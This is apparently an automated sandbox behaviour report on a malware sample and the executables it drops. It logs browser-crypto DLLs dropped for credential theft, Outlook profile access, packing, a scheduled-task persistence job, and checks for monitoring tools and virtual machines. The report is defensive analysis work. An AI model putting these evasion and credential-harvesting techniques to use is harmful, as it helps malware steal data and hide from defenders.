Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: tAa6xNsucX.exe

Static file information: File size 2509824 > 1048576

Source: tAa6xNsucX.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x221800

Source:	Binary string: mozglue.pdbP source: tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Unpacked PE file: 0.2.tAa6xNsucX.exe.bf0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Unpacked PE file: 7.2.HIIEBAFCBK.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 9.2.explortu.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 13.2.explortu.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 14.2.explortu.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 15.2.explortu.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 16.2.explortu.exe.320000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loawlfyy:EW;wnkrvcvh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: tAa6xNsucX.exe	Static PE information: real checksum: 0x0 should be: 0x2664c0
Source: explortu.exe.7.dr	Static PE information: real checksum: 0x1df213 should be: 0x1e051d
Source: HIIEBAFCBK.exe.0.dr	Static PE information: real checksum: 0x1df213 should be: 0x1e051d
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1df213 should be: 0x1e051d

Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name:
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: .idata
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name:
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: loawlfyy
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: wnkrvcvh
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: loawlfyy
Source: amadka[1].exe.0.dr	Static PE information: section name: wnkrvcvh
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: explortu.exe.7.dr	Static PE information: section name:
Source: explortu.exe.7.dr	Static PE information: section name: .idata
Source: explortu.exe.7.dr	Static PE information: section name:
Source: explortu.exe.7.dr	Static PE information: section name: loawlfyy
Source: explortu.exe.7.dr	Static PE information: section name: wnkrvcvh
Source: explortu.exe.7.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C34B536 push ecx; ret		0_2_6C34B549
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_0033CFEC push ecx; ret		9_2_0033CFFF

Source: tAa6xNsucX.exe	Static PE information: section name: entropy: 7.994281744516605
Source: tAa6xNsucX.exe	Static PE information: section name: entropy: 7.977734026363839
Source: tAa6xNsucX.exe	Static PE information: section name: entropy: 7.947938524666875
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: entropy: 7.988071891877607
Source: HIIEBAFCBK.exe.0.dr	Static PE information: section name: loawlfyy entropy: 7.953354575543591
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.988071891877607
Source: amadka[1].exe.0.dr	Static PE information: section name: loawlfyy entropy: 7.953354575543591
Source: explortu.exe.7.dr	Static PE information: section name: entropy: 7.988071891877607
Source: explortu.exe.7.dr	Static PE information: section name: loawlfyy entropy: 7.953354575543591

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	File created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

File created: C:\Windows\Tasks\explortu.job

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C3755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C3755F0

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
